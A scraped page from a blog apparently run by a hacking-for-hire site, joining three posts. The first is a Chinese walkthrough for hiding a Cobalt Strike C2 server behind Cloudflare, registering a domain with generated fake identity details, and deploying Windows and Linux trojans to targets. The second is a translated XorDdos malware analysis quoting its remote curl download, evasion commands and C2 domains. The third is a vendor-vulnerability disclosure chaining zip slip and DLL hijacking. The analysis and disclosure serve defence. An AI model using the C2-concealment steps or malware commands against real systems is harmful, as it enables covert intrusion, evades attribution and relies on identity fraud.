Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863113805

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

工具准备

国外服务器一台

自由鲸（VPN）

CS 4.4

nginx

CS服务端配置

服务器禁ping

1、当服务器禁ping后，从某种角度可以判定为主机为不存活状态。

2、编辑文件/etc/sysctl.conf，在里面增加一行。net.ipv4.icmp_echo_ignore_all=1
之后使命命令sysctl -p使配置生效。

5kyo0nc1qm214462.jpg
3、之后在ping就无法ping通了。这种方式nmap还是可以扫描到服务器的存活的。
fihna4mbz3z14464.png
修改端口
1、编辑teamserver文件，搜索50050，将其改为任意端口即可，这里改成65000
hou3znowguo14467.jpg
2、保存退出，启动teamserver，发现端口已经变化。
zwmlbb3i0of14470.jpg
修改默认证书
1、因为cs服务端生成的证书含有cs的相关特征所有，这里进行修改替换。修改方式有两种，分别为生成密钥库和修改启动文件。无论是那种方式都需要删去原有的文件cobaltstrike.store。
方法一删除密钥库文件cobaltstrike.store（推荐）
1、生成新的密钥库文件
kklxoicc5or14473.jpg
2、查看证书
3、启动服务器查看证书签名是否相同，经查看证书签名是相同的。
xvinbvteqed14478.jpg
方法二修改启动文件
1、teamserver 是启动cs服务端的启动文件。里面有环境检测的部分，其中就包括密钥库的检测，这部分的写法是，如检测不到密钥库就使用命令生成新的密钥库，修改这里生成命令。
2、将teamserver中圈出来的部分需要修改
rjjdzee254o14481.jpg
3、将其修改为如下内容：
xk05bkwta4z14483.jpg
4、删除原有的./cobaltstrike.store密钥库文件，下次启动时会自动生成新的密钥库文件
使用CDN隐藏
申请免费域名
1、进入freenom官网，翻译中文，拉到最下面，选择开发人员。
0am4qeq5mdz14486.jpg
2、拉到最下面，点击今天就获得一个随机的域账号
yjxiwyggqrg14487.jpg
3、输入国际邮箱，然后点击验证邮箱，推荐使用临时邮箱
opzdzhvi4k214489.jpg
4、几秒钟后，就会收到邮件，点击邮件点击确认跳转到freenom网站，翻译当前网页中文后，点击开发商。
1un1b23xi4214491.jpg
5、将网站拉到最后下面，翻译中文，点击立即获取一个随机域账号。
43xso0vbv3514492.jpg
6、然后来到个人信息填写页面
p5enr20yqdf14495.png
7、因为IP选择的地址是弗罗里达州，所以需要借助佛罗里达州个人信息生成器和个人信息生成器，两者需要结合。
ia1t02wblwu14497.jpg1hbboavdkuz14499.jpg
8、信息按照生成器填写即可，填写后，勾选并点击完成订单，到此账号已经注册成功。
i1odccb1an014502.jpg2jhiq35ex4u14504.jpg
9、回到网站首页，选取域名，输入xxx.tk，点击check availability，可用的话点击checkout。
itm05qnwt3m14505.jpg
10、选择12个月免费版本，最后点击continue。
szsyzd0hkbe14506.jpg
11、最后完成订单
tldrsx25ud314507.jpgai0lv5qgmat14509.jpg
12、选择my domains，看到域名是存活的。

s2xsfa1s34a14511.jpg
xxfrydly3sp14513.jpg
CDN配置
1、cdn部分可以选择其实挺多的，我这里选择的是cloudflare
2、登录cloudflare后，选择添加站点
1034p3mnui314517.jpg
3、选择免费计划
opvsgg2n0ou14520.jpg
4、添加DNS记录，输入要保护的IP和A记录。
4ugj4ewevx514522.jpg
5、修改xxx.tk的dns服务器为cloudflare。修改完成后需要一定的时间生效
ioiluhn2p0a14524.jpgpavvgbfeuot14526.jpgbdfxcoykoxu14528.jpg
6、关闭自动https重写和始终使用https、broti压缩
gkzyur3h13214530.jpg
7、点击finish完成
bxpjprjrd4n14531.jpg
8、出现如下界面就设置生效，可以使用cloudflare进行域名解析操作了
4vxltucunf014533.jpg
9、解析一个www.xxx.tk测试一下
3khniu5iv1114535.jpg
10、使用全球ping，发现已经成功添加CDN
gjxzlmplede14537.jpg
11、配置SSL/TLS加密模式为完全
zy31yh0cp0k14539.jpg
cloudflare生成证书
1、在cloudflare的dash页面找到SSL/TLS->源服务器->创建证书，之后将公钥和私钥保存下来，分别为server.pem和server.key。一定要在生成的时候保存，不然可能找不到私钥了。
jlu2bxsrqcp14540.jpg
2、申请证书并打包密钥库，将证书打包并生成store文件。
epxfv4xslin14543.jpg
3、配置证书到https的监听方式中，要想使用我们自己申请的证书，这里就需要使用‘Malleable C2 profile’的方式来操作。这里以cloudflare.profile为例。将生成的密钥文件.store放到cs目录下，想cloudflare.profile加入证书配置：其中需要注意的是https-certificate为证书相关的配置，其他client.header中Host的值要为我们申请的域名，其他的部分，根据个人情况去配置。
4、验证配置文件是否有问题。如下为验证成功的配置（当前目录需要有cobaltstrike.jar）
jxxaltgppe314548.jpg
5、配置nginx反向代理，按照下面命令执行即可
6、更改teamserver文件，老套路将stroe和密码写进去
vbgx3exwhmj14553.jpg
7、使用配置文件启动服务器
2nhkmleowrc14555.jpg
8、访问网站，发现已经有证书了
3lba4qlo2qj14556.jpg
生成木马配置
1、作了如上的配置，在生成木马时需要做一些不一样的操作。注意：免费版本的cloudflare支持解析少量的端口，具体端口如下
2、创建监听器，注意是https
nxcrpsv2yrz14560.jpg
3、生成exe木马
qcdmt2wuzkb14563.jpg
4、点击运行，成功上线
s0fevr55osi14565.jpg
5、通过抓包发现数据包都被加密
vvosfykdqlw14571.jpg
6、powershell的上线方式与以前有些许不同。需要启动ssl证书
5athu2jwn0v14576.jpg
7、在cmd中执行，powershell成功上线
4rmtl44et1v14578.jpg
Linux上线
Cloudflare CDN配置
1、选择缓存，创建规则
trh3foedfl114583.jpg
2、输入ip.src == xx.xx.xx.xx，该IP是C2服务器真实IP，再选择绕过缓存，最后保存。
10otoyxthok14585.jpg
nginx配置
1、编辑nginx配置文件，在http中添加以下配置
c2profile.c配置
cloudflare.profile配置
启动C2
1、启动C2服务器
2、下载CrossC2-GithubBot-2022-06-07.cna，下载CrossC2Kit_Loader.cna，将其保存在Windows CS客户端文件夹中
hamnfeedbhy14587.jpg
3、在Windows中启动客户端，依次加载CrossC2-GithubBot-2022-06-07.cna和CrossC2Kit_Loader.cna插件，加载后，右上角会出现CrossC2按钮
chai2cw2u4t14591.jpg
4、创建监听器，端口为9090
e2bjjt3t5n014593.jpg
5、公网访问以下内容
创建beacon
1、下载最新版genCrossC2.Linux，并将genCrossC2.Linux和c2profile.c放在C2服务器端
m1zr4jy05bq14596.jpg
2、C2服务器中编译so文件
xtcvhxv2zym14601.jpg
3、生成Linux木马，执行完成后会在当前生成a.out文件
nhsvup0wexl14604.jpg
Linux机器上线
1、将生成的a.out上传到目标机器，赋予权限，然后执行。
2、Linux机器成功上线
txfhjprsgza14608.jpg
命令交互操作
1、选中机器，鼠标右键会话交互，输入Linux命令即可
4h1b3ufdwqt14610.jpg
文件操作
1、选中机器，鼠标右键Expore -> 文件浏览器，即可查看目标机器文件，还可以上传下载文件
zd5jv02qlbp14617.jpg
进程查看
1、选中机器，鼠标右键Expore -> Process List，即可查看目标机器进程
hnz2ybayq2s14627.jpg


原文链接： https://xz.aliyun.com/t/12094

		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
在過去的六個月裡，微軟的研究人員發現一種名為XorDdos的Linux木馬的活動增加了254%。 XorDdos是由MalwareMustDie研究團隊於2014年首次發現的，其名稱來源於其在Linux終端和服務器上的拒絕服務相關活動，以及其在通信中使用基於XOR的加密。



存在於linux的操作系統的XorDdos惡意軟件越來越多，而linux操作系統通常部署在雲基礎設施和物聯網設備上。通過破壞物聯網和其他聯網設備，XorDdos積累了可用於執行分佈式拒絕服務(DDoS)攻擊的殭屍網絡。使用殭屍網絡執行DDoS攻擊可能會造成重大破壞，例如微軟在2021年8月緩解的2.4TbpsDDoS攻擊。由於多種原因，DDoS攻擊本身可能會帶來很大的問題，但此類攻擊也可以用作掩護隱藏進一步的惡意活動，例如部署惡意軟件和滲透目標系統。



殭屍網絡也可以被用來危害其他設備，XorDdos以使用SecureShell(SSH)暴力攻擊來獲得對目標設備的遠程控製而聞名。 SSH是IT基礎設施中最常見的協議之一，它可以在不安全的網絡上進行加密通信以實現遠程系統管理，使其成為攻擊者的首選工具。一旦XorDdos識別出有效的SSH憑證，它就使用根權限運行一個腳本，該腳本將下載XorDdos並將其安裝到目標設備上。



XorDdos使用規避和持久性機制，使其操作保持穩健和隱秘。它的規避能力包括混淆惡意軟件的活動、規避基於規則的檢測機制和基於哈希的惡意文件查找，以及使用反取證技術來破壞基於進程樹的分析。研究人員在最近的活動中觀察到，XorDdos通過用空字節覆蓋敏感文件來隱藏惡意活動以防止分析。它還包括支持不同Linux發行版的各種持久性機制。



 1.png



XorDdos惡意軟件的典型攻擊載體



XorDdos還被用來傳遞其他危險的威脅。研究人員發現，最先被XorDdos感染的設備後來又被其他惡意軟件感染，比如Tsunami後門，該後門進一步部署了XMRig挖礦程序。雖然研究人員沒有觀察到XorDdos直接安裝和傳播像Tsunami這樣的二級有效負載，但該木馬有可能被用作後續活動的載體。



MicrosoftDefenderforEndpoint通過檢測和修復木馬在其整個攻擊鏈中的多階段模塊化攻擊以及終端上的任何潛在後續活動來防止XorDdos。在本文中，研究人員將詳細分析XorDdos，以幫助防御者了解其技術並保護他們的網絡免受這種隱秘惡意軟件的攻擊。



初始訪問XorDdos主要通過SSH暴力進行傳播。它使用一個惡意的shell腳本在數千個服務器上嘗試各種根憑據組合，直到在目標Linux設備上找到匹配項。因此，研究人員在成功感染惡意軟件的設備上看到許多失敗的登錄嘗試：



 2.png



在受XorDdos影響的設備上嘗試登錄失敗



研究人員的分析確定了XorDdos的兩種初始訪問方法。第一種方法是將惡意ELF文件複製到臨時文件存儲/dev/shm中，然後運行它。 /dev/shm中寫入的文件會在系統重啟時被刪除，從而在取證分析過程中隱藏感染源。



第二種方法涉及運行一個bash腳本，該腳本通過命令行執行以下活動：



1、迭代以下文件夾以找到一個可寫目錄：



/bin



/home



/root



/tmp



/usr



/etc2、如果已找到可寫目錄，則將工作目錄更改為已找到的可寫目錄。



3、使用curl命令從遠程位置下載ELF文件有效負載hxxp://Ipv4PII_777789ffaa5b68638cdaea8ecfa10b24b326ed7d/1[.]txt並將文件保存為ygljglkjgfg0。



4、將文件模式改為“可執行”。



5、運行ELF文件負載。



6、移動和重命名Wget二進製文件，以規避惡意使用Wget二進製文件所觸發的基於規則的檢測。在這種情況下，它將Wget二進製文件重命名為good，並將文件移動到以下位置：



mv/usr/bin/wget/usr/bin/good



mv/bin/wget/bin/good7、嘗試第二次下載ELF文件有效負載，現在只使用filegood而不是Wget二進製文件。



8、運行ELF文件後，使用反取證技術通過用換行符覆蓋以下敏感文件的內容來隱藏其過去的活動：



 3.png



初始訪問使用的遠程bash腳本命令



無論使用哪種初始訪問方法，結果都是一樣的：運行惡意ELF文件，即XorDdos惡意軟件。接下來，我們將深入研究XorDdos有效負載。



XorDdos有效負載分析本文研究分析的XorDdos有效負載是一個32位ELF文件，沒有被用過，這意味著它包含調試符號，詳細說明了惡意軟件的每個活動的專用代碼。與丟棄這些符號的被污染過的二進製文件相比，包含調試符號使調試和反向工程非污染二進製文件更容易。在這種情況下，未污染的二進製文件包括以下與符號表條目關聯的源代碼文件名，它們是ELF文件中.strtab部分的一部分：



crtstuff.c



autorun.c



crc32.c



encrypt.c



execpacket.c



buildnet.c



hide.c



http.c



kill.c



main.c



proc.c



socket.c



tcp.c



thread.c



findip.c



dns.c上面的源代碼文件名列表表明二進製文件是用C/c++編程的，並且它的代碼是模塊化的。



反檢測能力XorDdos包含具有逃避檢測的特定功能模塊，詳細信息如下。



守護進程(Daemonprocess)守護進程是一個在後台運行而不是在用戶控制下的進程，它與控制終端分離，僅在系統關閉時終止。與某些Linux惡意軟件系列類似，XorDdos木馬使用守護進程（如下詳述）來破壞基於進程樹的分析。守護進程(Daemon)是一類在後台長期運行的特殊進程，一般在系統引導時開始啟動，一直運行到系統關閉。守護進程一般用於提供某種服務，比如log打印守護進程syslogd，任務規劃守護進程crond，實現Dbus總線功能的dbus守護進程等。



1、惡意軟件調用子程序daemon(__nochdir,__noclose)將自己設置為後台守護進程，該進程在內部調用fork()和setsid()。 fork()API創建一個與調用進程具有相同進程組ID的新子進程。



2、成功調用fork()API後，父進程通過返回“EXIT_SUCCESS(0)”停止。目的是保證子進程不是組進程的leader，這是setsid()API調用成功的前提。然後它調用setsid()將自己與控制終端分離。



3、如果調用第一個參數__nochdir的值等於“0”，則守護程序子例程還具有將目錄更改為根目錄(“/”)的規定。守護進程將目錄更改為根分區（“/”）的原因之一是因為從掛載的文件系統運行進程會阻止卸載，除非進程停止。



4、它將第二個參數__noclose傳遞為“0”，以將標準輸入、標準輸出和標準錯誤重定向到/dev/null。它通過在/dev/null的文件描述符上調用dup2來做到這一點。



5、惡意軟件調用多個信號API以忽略來自控制終端的可能信號，並在終端會話斷開時將當前進程與標準流和掛斷信號(SIGHUP)分離。執行這種規避信號抑制有助於阻止標準庫嘗試寫入標準輸出或標準錯誤或嘗試從標準輸入讀取的影響，這可能會阻止惡意軟件的子進程。 APIsignal()將信號符號的處置設置為處理程序，它是SIG_IGN、SIG_DFL或程序員定義的信號處理程序的地址。在本例中，第二個參數被設置為'SIG_IGN=1'，它忽略了與signum對應的信號。



 6.png



忽略與終端相關操作相關的信號



基於XOR的加密顧名思義，XorDdos使用基於xor的加密來混淆數據。它調用dec_conf函數來使用XOR秘鑰“BB2FA36AAA9541F0”對編碼字符串進行解碼。下表顯示了在惡意軟件的各個模塊中用於執行其活動的混淆數據的解碼值。



 7.png



進程名稱欺騙當一個進程啟動時，參數作為以null結尾的字符串提供給它的main函數，其中第一個參數始終是進程映像路徑。為了欺騙其進程名稱，XorDdos在運行時將所有參數緩衝區清零，並使用虛假命令行（例如catresolv.conf）覆蓋它的第一個包含圖像路徑的參數緩衝區。



 8.png



通過修改與參數向量關聯的內存來實現進程名稱欺騙



 9.png



'ps-aef'的輸出包含一個'catresolv.conf'條目



內核rootkit一些XorDdos示例安裝內核rootkit。 rootkit是一個內核模塊，通過修改操作系統數據結構來隱藏惡意代碼的存在。 XorDdos內核rootkit通常具有以下功能：



提供根訪問；



隱藏內核模塊；



隱藏惡意軟件的進程；



隱藏惡意軟件的網絡連接和端口；



根據在rootkit中發現的調試符號，XorDdos的rootkit代碼很可能受到了名為rooty的開源項目的啟發。下表描述了rootkit中的符號及其相應的功能：



 10.png



進程和端口隱藏該惡意軟件試圖使用其內核rootkit組件隱藏其進程和端口。隱藏進程有助於惡意軟件規避基於規則的檢測。



/proc文件系統包含與所有正在運行的進程相關的信息。用戶模式的進程可以通過讀取/proc目錄來獲取任何與進程相關的信息，該目錄包含系統中每個正在運行的進程的子目錄，例如：



/proc/7728——包含與進程ID(PID)7728相關的信息；



/proc/698——包含PID698相關信息；



運行strace-eopenps命令檢查/proc/$pid上的open調用的踪跡，以獲取ps命令中正在運行的進程的信息。



 11.png



如果惡意軟件隱藏了$pid特定目錄，它可以隱藏從用戶模式獲取相應進程。



在本例中，惡意軟件可以通過發送帶有附加信息的輸入和輸出控制(IOCTL)調用來與其rootkit組件/proc/rs_dev進行通信，以採取適當的措施。 IOCTL是用戶模式服務和內核設備驅動程序之間通信的一種方式。該惡意軟件使用數字“0x9748712”從系統中的其他IOCTL調用中唯一識別其IOCTL調用。



除了這個數字，它還傳遞一個整數數組。數組中的第一個條目對應於命令，第二個條目存儲要操作的值，例如$pid。



 12.png


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
內容提要Team82在工程設計工作站XINJE PLC Program Tool中發現了兩個漏洞。



3.5.1版本受到這些漏洞的影響，其他版本也可能受到影響。



Team82於2020年8月開始著手披露工作。一年多後，XINJE終於在2021年9月承認了我們披露的漏洞。



當時XINJE拒絕與Team82合作，並要求我們停止與他們溝通。



在今天披露有限的細節之前，我們將協調披露政策的期限從90天延長到9個月，以幫助資產所有者遴選緩解措施。



攻擊者能夠利用一個精心製作的項目文件來觸發這些漏洞。



可以將任意數量的項目文件寫入一個項目文件以獲得代碼執行。



工程設計工作站是最關鍵的運營技術(OT) 資產之一。工程師使用這些平台在工業控制系統的普渡模型較低級別配置和維護各種控制系統應用程序和設備。如果攻擊者能夠訪問和使用工程工作站，那麼，他們就可以將其作為攻擊媒介來進一步破壞工業流程，進而可能危及公共安全或中斷關鍵服務。



Team82在審查v3.5.1版本的XINJE PLC Program Tool的安全性的時候，發現了兩個安全漏洞，分別為CVE-2021-34605和CVE-2021-34606）。不過，Team82僅對v3.5.版本系列進行了測試，但我們相信，其他版本也可能存在相同的漏洞。



這些漏洞可以通過精心設計的項目文件觸發。攻擊者可以利用這些漏洞將任意數量的項目文件寫入PLC並獲得代碼執行權限。



Team82今天披露了有關這些漏洞的有限信息，在嘗試與公司代表聯繫一年未果後，這些漏洞的詳細信息已經於2021年8月末私下披露，因為供應商既不接受我們分享技術信息，也拒絕了讓我們參與漏洞修復與響應的請求。最後，2021年9月8日，XINJE代表要求Team82停止溝通。 Team82則將其協調披露政策的期限從90天延長至9個月後，決定披露有限的漏洞細節，以幫助資產所有者遴選緩解措施。



關於PLC Program Tool



XINJE的PLC Program Tool是一個工程設計工作站程序，可以在OT環境中與XINJE生產的PLC進行通信。據XINJE稱，這些設備不僅在中國銷售，而且還在歐洲、北美、東南亞和其他地區的一些市場上銷售，涉及能源、製造業和工程等行業。



從安全的角度來看，只要獲得對安裝有工程設計工作站程序的機器的訪問權限，攻擊者就能接管PLC和其他高度敏感的OT設備，並造成不良後果。因此，攻擊者可以利用這些程序中的漏洞作為完全控制OT網絡的最後一步。



 1.png



以工程工作站為目標的攻擊者可以感染較低級別的設備，如PLC、傳感器或泵。



惡意項目文件是這類漏洞的重心Team82對與項目文件相關的安全漏洞特別感興趣。



項目文件通常是包含OLE文件、SQLite數據庫、專有格式的二進製文件、文本文件和工程工作站內創建的目錄的歸檔文件格式。這些程序被工程師用來監控、配置可編程邏輯控制器（PLC）和其他控制系統，並與之進行通信。



項目文件中包含的程序邏輯不僅負責管理ICS設備以及監督流程，同時還可能包含網絡配置數據，甚至完整的OT網絡佈局。對於以工業網絡為目標的攻擊活動，尤其是國家級的入侵活動，項目文件的武器化就是這些活動的核心之所在。



當通過工程設計工作站程序打開一個項目文件時，該程序將迅速與相關設備進行通信。另外，OT工程師有時可以通過PLC上傳項目文件，但這需要運行網絡發現工具來確定PLC的網絡地址（不是所有的PLC都支持這個程序），或者手動輸入相關的網絡參數。因此，許多公司會選擇使用項目文件，因為每個文件可以包括一個或多個PLC的配置。



當工程設計工作站程序打開由攻擊者精心構造的項目文件時，可能會觸發漏洞。在這種情況下，攻擊者可以將用於存儲文件的網絡共享中的合法文件替換成一個特製的文件，從而觸發程序中的漏洞。我們在XINJE的PLC Program Tool中就發現了這樣的漏洞：在打開一個精心構造的項目文件時，攻擊者可以在易受攻擊的端點上運行任意代碼。 



研究環境設置是關鍵的第一步作為我們工作的一部分，我們經常收到研究專有協議的請求，以便最大限度地提高客戶觀察其網絡流量的能力。有時，我們必須支持仍在生產現場發揮關鍵作用的舊設備，而在其他時候，我們甚至會偶然發現小型OT供應商製造的設備。



有次，我們從一個客戶那裡收到了分析由XINJE製造的設備所使用的協議的請求，這就屬於後者。



我們的第一步是建立一個實驗室設置；這通常需要購買設備，並將其連接到相關的工程設計工作站程序。在某些情況下，即使是購買設備也很困難，因為我們需要的確切型號可能已經斷貨了。



隨著時間的推移，我們發現，竟然可以通過eBay買到各種型號的OT設備。在許多情況下，一旦工廠停止生產某型號的OT設備，舊的二手設備就會出現在eBay上，不僅容易買到，還是包郵到家那種。當然，XINJE提供的設備也不例外，各種型號的XINJE產品基本都可以通過eBay買到。



Ebay上的XINJE工業設備清單：



 1.png



一旦購買了PLC，下一步就是把它和其他眾多的OT設備一起安裝到我們的實驗室中，並將其連接到負責配置的工程設計工作站程序上。



 1.png



在實驗室環境中運行的XINJE PLC



聯合運用兩個漏洞實現惡意文件的加載一旦我們搭建好了實驗環境，並研究好設備所使用的不同協議，接下來要做的事情，就是按照客戶的要求在其中尋找安全漏洞。



檢查這些安全問題可以幫助用戶立即改善他們的安全狀況。同時，負責任地將這些漏洞報告給供應商，不僅可以幫助修復這些漏洞，還能提高整個OT空間的安全性。



在XINJE的案例中，我們決定把重點放在名為XINJE PLC Program Tool的工程設計工作站程序上。如前所述，在這種情況下，項目文件的漏洞是特別值得關注的。通常情況下，在搜索項目文件的漏洞時，首先要調查工程設計工作站程序所使用的項目文件的具體結構。對於XINJE PLC Program Tool來說，相關文件是*.xdp文件。



 1.png



XINJE PLC項目文件是由.xdp類型的文件組成的。



不難發現，這些項目文件都是些壓縮文件，具體如下面的魔法字節PK/x03/x04所示：



 1.png



並且，它們幾乎可以被所有的歸檔工具（如7z）提取。更有趣的是，當程序打開一個項目文件時，它會立即將其解壓縮到位於其安裝目錄下的一個臨時目錄中：



 1.png



XDPPro.exe將多個文件寫入C:\Program Files\XINJE\XDPPro\tmp目錄中



這種行為表明，該程序認為自己是以管理員權限運行的。這一點，再加上提取的文件是一個zip文件，立即讓人懷疑是否可以利用zip slip漏洞（一個任意的文件覆蓋漏洞）來獲得任意的寫入權限。



很快，我們確實發現了一個zip slip漏洞（CVE-2021-34605），它可以授予攻擊者該程序的所有權限，包括任意寫入特權；在大多數情況下，這些權限都是管理員才具有的權限。



下一個問題是：如何從任意文件寫入實現代碼執行。由於代碼在項目文件加載後立即執行是最合理的選擇，所以，我們可以檢查程序在打開項目文件後，會執行哪些操作：



 1.png



XDPPro.exe試圖從C:\Program Files\XINJE\XDPPro加載DNSAPI.dll，但沒有找該動態庫，並返回至C:\Windows\System32目錄



有趣的是，它將通過LoadLibrary從其本地目錄來加載.dll文件。當LoadLibrary沒有找到相應的動態庫時，它會再次回到C:\Windows\System32目錄，並在此搜索庫文件。這裡是我們發現第二個漏洞，即CVE-2021-34606的地方；這是一個典型的DLL劫持漏洞。



為了創建一個行之有效的exploit，我們需要聯合使用這兩個漏洞：



一旦精心構造的惡意項目文件被XINJE PLC Program Tool打開，就會觸發zip slip漏洞，這時，會將一個.dll文件寫入Program Files的program目錄中。之後，在加載新項目的過程中，這個DLL也會一同被加載，而不是加載真正的DLL（它位於Windows\System32）。



一旦攻擊者的DLL被加載，惡意代碼就會在其DLLMain進程或在程序導入的某個函數中執行，這樣，攻擊者就在OT網絡中成功獲得一個立足點。



 1.png



Team82的PoC演示效果



小結儘管近年來OT界對網絡安全的認識一直在穩步提高，但許多工程設計工作站程序中仍然存在許多易受攻擊的安全漏洞。



並且，並非所有的供應商都已經意識到，工程文件能夠成為攻擊者手中的武器，成為控制關鍵OT資源的手段；對於大多數OT人員來說，情況也是如此。



此外，許多供應商在協調漏洞的披露的方面，仍然有許多工作要做。因此，披露過程會浪費許多不必要的時間，因為這些信息往往要經過沒有安全知識的銷售和/或技術支持團隊，才能到達負責開發受影響產品的團隊。



對於新捷來說，這是一次具有挑戰性的漏洞披露，幸好這並非大多數OT供應商的常態。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
持久性機制XorDdos使用各種持久性機制，在系統啟動時會自動支持不同的Linux發行版，如下所示。



初始化腳本惡意軟件會在/etc/init.d位置放置一個初始化腳本。初始化腳本是用於在系統啟動時運行任何程序的啟動腳本。它們遵循Linux標準基礎(LSB)樣式的標頭部分，包括默認運行級別、描述和依賴項。



 13.png



放置在/etc/init.d/HFLgGwYfSC.elf位置的init腳本的內容



Cron腳本惡意軟件在/etc/cron.hour/gcc.sh的位置創建一個cron腳本。該cron腳本傳遞的參數如下：



 14.png



gcc.sh腳本內容



然後它會創建一個/etc/crontab文件以每三分鐘運行一次/etc/cron.hourly/gcc.sh：



 15.png



從/etc/crontab文件中刪除/etc/cron.hourly/gcc.sh條目並添加新條目的系統命令



 16.png



文件“/etc/crontab.conf”的內容



SystemV運行級別運行級別是init和系統的一種模式，用於指定UnixsystemV-Style操作系統正在運行哪些系統服務。運行級別包含一個值，通常編號為0到6，每個值指定不同的系統配置，並允許訪問不同的進程組合。一些系統管理員根據他們的需要設置系統的默認運行級別，或者使用運行級別來識別哪些子系統正在工作，例如網絡是否正常運行。 /etc/rc run_level 目錄包含符號鏈接（符號鏈接），符號鏈接是指向原始文件的軟鏈接。這些符號鏈接指向應在指定的運行級別運行的腳本。



這個惡意軟件為放置在/etc/init.d/base_file_name 位置的init 腳本創建一個符號鏈接，這些目錄與/etc/rc run_level .d/S90 和/etc/rc.d/rc run_level .d/S9 base_file_name 0 base_file_name 的runlevels 1 到5 相關聯。



 17.png



使用/etc/init.d/base_file_name 安裝rc.d 目錄的符號鏈接腳本



自動啟動服務該惡意軟件運行一個命令來安裝啟動服務，這些服務會在啟動時自動運行XorDdos。惡意軟件的LinuxExec_Argv2子例程使用提供的參數運行系統API。



命令chkconfig–add service_name 和update-rc.d 然後添加一個在引導時啟動守護進程的服務。



 18.png



chkconfig和update-rc.d命令安裝啟動服務



基於參數的代碼流程XorDdos具有與提供給程序的參數數量相對應的特定代碼路徑。這種靈活性使它的操作更加健壯和隱秘。惡意軟件首先在沒有任何參數的情況下運行，然後運行另一個帶有不同參數的實例，比如pid和假命令，以執行清理、欺騙和持久化等功能。



在處理基於參數的控件之前，它調用readlinkAPI，第一個參數為/proc/self/exe以獲取其完整的進程路徑。完整路徑稍後用於創建自動啟動服務條目並讀取文件內容。



以下是不同參數的功能：



1.不帶任何參數的標準代碼路徑此代碼路徑描述了惡意軟件的標準工作流程，這也是XorDdos作為在系統啟動位置創建的條目的一部分運行的典型工作流程。



惡意軟件首先檢查它是否從/usr/bin/、/bin/或/tmp/位置運行。如果它沒有從這些位置運行，那麼它會在這些位置以及/lib/和/var/run/上使用10個字符的字符串名稱創建並自我複制。



它還在/lib/libudev.so位置創建了自己的一個副本。為了避免基於哈希值的惡意文件查找，它執行以下步驟，修改文件哈希值，使每個文件都是唯一的：



只有寫入時才會打開文件；



調用lseek(fd,0,SEEK_END)指向文件中的最後一個位置；



創建一個10個字符的隨機字符串；



在文件末尾寫入帶有額外空字節的字符串；



修改文件後，它運行二進製文件，執行雙fork()，並從磁盤中刪除其文件。



 19.png



惡意軟件文件的末尾包含兩個隨機字符串，“wieegnexuk”和“yybrdajydg”，表明原始惡意軟件二進製文件被修改了兩次



2.清理代碼路徑在此代碼路徑中，惡意軟件使用作為PID提供的另一個參數運行，例如：



/usr/bin/jwvwvxoupv4849使用上面的示例，惡意軟件與IPC密鑰“0xDA718716”共享64字節大小的內存段，以檢查作為參數提供的另一個惡意軟件進程。如果沒有找到，它會運行自己的二進製文件而不帶任何參數，並調用fork()API兩次以確保第三代子進程沒有父進程。這導致第三代進程被init進程採用，從而將其與進程樹斷開連接並充當反取證技術。



另外，它在提供的$pid上執行以下任務：



獲取與提供的$pid對應的進程文件名；



刪除提供的$pid文件；



刪除已安裝的init服務：



 刪除/etc/init.d/file_name



對於運行級別1-5，取消鏈接並刪除/etc/rc runlevel .d/S90 file_name 



 執行chkconfig-del file_name 命令；



 執行update-rc.d file_name 刪除



結束作為參數提供的進程。



3.進程名欺騙代碼路徑這個惡意軟件生成了帶有兩個附加參數的新的被刪除的二進製文件：一個假的命令行及其PID，例如：



 20.png



虛假命令可以包括：



 21.png



在此代碼路徑中，惡意軟件使用進程名稱欺騙通過在運行時修改其虛假命令行來隱藏進程樹。然後，它通過使用命令“1”調用HidePidPort來隱藏其進程，並讀取與當前進程相關的磁盤上文件的內容。



然後，它進入一個5秒的循環，執行以下檢查：



3.1通過調用/proc/$pid/exe上的readlinkAPI，獲取特定於作為第三個參數的一部分提供的$pid的文件名。



3.2如果readlink調用失敗，這可能表明磁盤上的文件不存在。在這種情況下，會發生以下5種情況：



3.2.1打算刪除$pid的所有服務相關條目但失敗。這似乎是由於一個代碼缺陷造成的，當緩衝區應該從成功的readlinkAPI調用中填充時，該漏洞允許將歸零緩衝區作為服務名稱傳遞。



3.2.2創建類似於標準代碼路徑方案的目錄。



3.2.3調用文件/lib/libudev.so的statAPI。如果statAPI返回一個非零值，那麼它會嘗試將先前獲取的當前進程的圖像文件的內容複製到以下位置，並使用隨機名稱：



/usr/bin/



/bin/



/tmp/3.2.4如果對/lib/libdev.so的statAPI調用成功，則將/lib/libudev.so文件複製到上面列出的相同的三個目錄中。



3.2.5更改寫入或複製文件的哈希值，然後在不傳遞任何參數的情況下運行它。



3.3如果readlink調用成功並返回複製的字節數，則休眠一秒鐘，然後在五秒鐘內循環剩餘時間。



3.4取消隱藏當前進程和作為第三個參數的一部分提供的$pid；



3.5刪除當前進程的磁盤文件。



4.沒有提供任何參數的已知位置代碼路徑此代碼路徑與標準代碼路徑相似，主要區別在於惡意軟件從以下位置運行：



 22.png



一旦它從其中一個位置運行，惡意軟件就會調用以下函數來執行各種任務：



4.1InstallSYS——顧名思義，這個函數是一個應該部署rootkit驅動程序的包裝器，但它只清零兩個本地數組。



 23.png



虛擬InstallSYS例程



4.2AddService——創建前面提到的持久自動啟動項，以便惡意軟件在系統啟動時運行。



4.3HidePidPort——隱藏惡意軟件的端口和進程。



4.4CheckLKM——檢查rootkit設備是否處於活動狀態。它使用數字“0x9748712”和命令“0”的類似IOCTL調用來查找rootkit是否處於活動狀態。如果rootkit處於活動狀態，它會使用所有者值“0xAD1473B8”和組值“0xAD1473B8”通過函數lchown( 文件名、0xAD1473B8、0xAD1473B8）。



4.5decrypt_remotestr——使用相同的XOR密鑰“BB2FA36AAA9541F0”解碼遠程URL，以解碼config.rar和其他目錄。解碼URL後，它將它們添加到一個遠程列表中，該列表稍後用於從命令和控制(C2)服務器通信和獲取命令：



www[.]enoan2107[.]com:3306



www[.]gzcfr5axf6[.]com:3306



